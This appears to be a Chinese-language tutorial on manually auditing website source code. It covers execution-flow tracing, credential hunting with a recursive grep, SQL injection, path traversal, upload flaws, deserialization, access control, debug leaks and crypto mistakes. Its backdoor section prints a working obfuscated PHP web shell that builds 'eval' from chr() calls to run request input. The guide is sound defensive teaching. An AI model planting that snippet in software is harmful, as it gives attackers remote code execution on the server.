很多人拿到一份网站源码,第一反应是找杀毒软件扫一遍,或者用网上现成的扫描器跑一下报告,看到没有高危漏洞就觉得万事大吉。这种操作方式,大概只能拦住三成左右的真正威胁。源码审计的核心不是找病毒,而是找逻辑漏洞、硬编码凭据、不安全的依赖链以及隐蔽的后门通道。这些问题是扫描器很难通过特征库匹配出来的,必须靠人工逐段理解代码意图才能发现。

从入口文件开始追踪执行流

不要一上来就全局搜索危险函数,那样会淹没在大量误报里。正确的做法是先找到程序的入口文件,通常是index.php、main.py、app.js或者路由配置文件。从入口开始,顺着包含关系、路由分发和中间件加载顺序,把整个应用的执行流程画出来。这个过程你会发现很多问题:比如某个本该被保护的管理后台,因为路由配置疏忽,直接在根路径下就能访问;又比如一个配置文件在加载时没有做权限校验,可以通过路径遍历直接读取。追踪执行流的时候,重点关注那些不需要登录就能触发的代码分支,因为攻击者也是从这些地方下手的。

硬编码凭据的排查要细致到注释行

数据库密码、API密钥、加密盐值这些东西,理论上不应该出现在源码里,但实际情况是几乎每十个项目就有三四个存在硬编码凭据。排查的时候不能只搜password、secret、api_key这些常见变量名,还要注意配置文件里的注释。很多开发者在注释里写了真实的测试环境密码,后来忘记删除。另外要检查.git目录是否暴露在Web路径下,如果有,整个代码仓库的历史版本都能被下载,曾经提交过又删除的密码文件会全部泄露。排查命令可以这样写:

grep -r -E "(password|passwd|secret|token|key)\s*=\s*['\"][^'\"]+['\"]" --include="*.php" --include="*.py" --include="*.js" --include="*.yml" --include="*.xml" --include="*.json" .

这条命令会递归搜索当前目录下所有相关源码文件,找出直接赋值在引号里的凭据字符串。但光这样还不够,还要检查环境变量文件.env、.env.local是否被错误提交,以及Dockerfile里是否用ENV指令写死了敏感信息。

SQL注入的审计要关注拼接而非参数

现在大多数框架都提供了参数化查询,直接拼接字符串写SQL的情况在正规项目里越来越少,但问题往往出在动态表名、动态字段名和排序参数上。这些地方没法用预编译参数,很多开发者就直接拼进去了。审计的时候搜索order by、group by、表名拼接的代码段,看变量是否来自用户输入且没有经过白名单校验。另外要特别注意一些ORM框架的原生查询方法,比如在PHP Laravel里使用DB::raw(),在Python SQLAlchemy里使用text(),这些方法如果直接传入用户变量,同样存在注入风险。还有一个容易被忽略的点是存储过程调用,如果存储过程内部使用了动态SQL拼接,外部即使参数化调用也无法防御。

文件操作漏洞往往藏在看似无害的功能里

头像上传、日志下载、模板切换、语言包加载,这些功能几乎每个网站都有,也是文件包含和路径遍历的高发区。审计时看到include、require、file_get_contents、fopen这类函数,立刻检查参数中是否有用户可控的路径片段。即使文件名不可控,有些程序会允许用户指定文件后缀或者目录,攻击者可以通过../向上跳转,或者通过00截断(在老版本PHP中)绕过后缀限制。对于文件上传功能,不要只看前端校验了扩展名就放心,要追踪到服务端处理逻辑,确认是否用文件头魔数校验了真实类型,上传后的文件是否在可执行目录内,文件名是否用随机字符串重命名。如果上传目录允许直接访问且没有关闭脚本执行权限,一个伪装成图片的PHP文件就能直接拿到Webshell。

反序列化漏洞的利用链需要人工构造

扫描器很难发现反序列化漏洞,因为它需要理解类之间的调用关系和魔术方法的触发条件。审计时搜索unserialize、json_decode(当参数为对象时)、pickle.loads、yaml.load(注意不是safe_load)等反序列化入口。找到入口后,要回溯看传入的数据是否用户可控。如果可控,接下来需要在当前加载的类库中寻找可以利用的魔术方法,比如__destruct、__wakeup、__toString、__call等,看这些方法内部是否存在文件操作、命令执行或者数据库写入的逻辑。这个过程比较耗时,但一旦找到利用链,危害等级通常就是严重。现在很多PHP框架的POP链构造已经有公开工具辅助,但Python和Java的反序列化利用更依赖对项目依赖库的熟悉程度。

依赖库和第三方组件的版本风险

现代Web项目引用的第三方包动辄几百个,任何一个存在已知漏洞都可能成为突破口。审计时先检查包管理文件,比如composer.lock、package-lock.json、Pipfile.lock、pom.xml,用对应的依赖检查工具比对CVE库。但不要只看直接依赖,间接依赖(依赖的依赖)同样需要关注。另外要注意一种情况:有些项目直接把第三方库的源码复制到自己的目录里做修改,这样就脱离了包管理器的版本追踪,漏洞也无法通过常规扫描发现。判断方法是看libs、vendor、third_party这些目录下是否存在知名开源项目的身影,如果有,去对比官方版本号,确认是否修复了已知漏洞。

权限校验的缺失是业务逻辑漏洞的根源

水平越权和垂直越权在扫描器面前几乎是透明的,只能靠人工走读代码。审计时给每个需要登录的功能点做标记,然后检查对应的控制器方法开头是否有统一的权限校验中间件。很多项目只在菜单渲染时做了隐藏,但接口本身没有校验,攻击者直接请求接口地址就能绕过。还有一种常见问题是校验逻辑只判断了用户是否登录,没有判断该用户是否有权限操作当前资源。比如查看订单详情时,只校验了登录态,没有校验订单的归属,导致修改URL中的订单ID就能遍历所有用户的订单数据。这类问题在RESTful API设计中尤其普遍,因为资源ID直接暴露在URL路径里。

日志和调试信息泄露的排查

生产环境开启调试模式是常见低级错误,但危害巨大。审计时检查入口文件或者配置文件中的debug、APP_DEBUG、DEBUG模式开关,确认是否根据环境变量动态关闭。除了调试模式,还要检查错误处理机制是否向用户展示了堆栈跟踪信息,这些信息会暴露服务器路径、框架版本、数据库表结构等关键情报。另外要关注程序是否有将敏感操作记录到日志,但日志文件本身可以被Web访问的情况。比如把日志写在public目录下,或者日志文件名可被猜测(如以日期命名),攻击者就能通过HTTP直接读取日志内容,从中提取登录凭证和API调用记录。

后门和Webshell的识别不能只靠特征匹配

真正的后门代码往往伪装得很巧妙,不会出现eval、assert、system这些明显的函数调用。审计时要注意一些反常的代码模式:比如一个正常的图片处理函数里,突然出现了一个变量函数调用,参数来自GET或POST;又比如一个配置文件里出现了可执行的PHP代码,而同类文件通常只有数组定义;还有通过字符串拼接、进制转换、加密解密来动态构造函数名的写法。一个经典的隐蔽后门写法是这样的:

$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108);
$_cC($_REQUEST['x']);

这段代码通过chr函数拼接出eval字符串,完全避开了关键字检测。更隐蔽的做法是把恶意代码编码后藏在图片的EXIF信息里,然后通过一个看似正常的图片读取函数解码执行。审计时如果发现代码中有从二进制文件读取数据然后执行的操作,一定要高度警惕。

加密和签名的实现缺陷

不少项目喜欢自己实现加密或签名算法,这在安全上是大忌。审计时看到自定义的加密函数,先看是否使用了成熟的密码库,如果自己实现了AES、RSA的核心逻辑,几乎一定存在侧信道或填充攻击的风险。即使是调用标准库,也要检查使用方式是否正确:比如AES的CBC模式是否使用了固定IV,ECB模式是否还在使用,密码哈希是否用了bcrypt或argon2而不是MD5或SHA1。JWT令牌的验证也是重灾区,要确认验证时是否强制指定了算法,防止攻击者将算法篡改为none绕过签名验证。

定时任务和后台脚本的安全盲区

很多人审计时只看Web目录,忽略了项目根目录下的脚本文件和cron任务定义。这些脚本通常以命令行方式运行,权限很高,而且开发者往往认为它们不会被外部访问,所以安全防护意识薄弱。审计时要检查这些脚本是否接收命令行参数,参数是否做了校验,是否可能被注入命令。如果脚本处理来自数据库或Redis队列的数据,要检查数据写入方是否可能被攻击者控制,从而间接控制脚本的执行逻辑。还有一种情况是脚本文件本身被放置在Web可访问目录下,攻击者通过URL直接调用就能触发执行。

前端源码中的敏感信息泄露

JavaScript文件中经常藏着后端API地址、内部接口路径、测试账号、甚至是临时的访问令牌。审计时对前端代码做一遍和后端同样力度的凭据搜索,特别是那些被打包进bundle的map文件,如果生产环境开启了source map,攻击者可以直接还原出接近原始的前端源码,从中提取大量业务逻辑和接口信息。另外要检查前端代码中是否对某些功能做了客户端校验就认为安全了,比如在JavaScript里判断用户权限来决定是否显示某个按钮,但后端接口没有做对应的权限校验,这种客户端强依赖的安全假设一攻就破。

源码审计本质上是在和开发者的思维盲区博弈。每发现一处疏漏,背后往往意味着开发者在某个时间点为了赶进度、图方便或者对安全机制理解不足而做出了妥协。把这些盲区一个个找出来,就是审计工作的全部意义。工具可以帮你完成三成的重复劳动,剩下七成需要你把自己代入攻击者的视角,去思考每一行代码在非预期输入下会发生什么。这种思维方式一旦建立,看代码的眼光就会完全不同。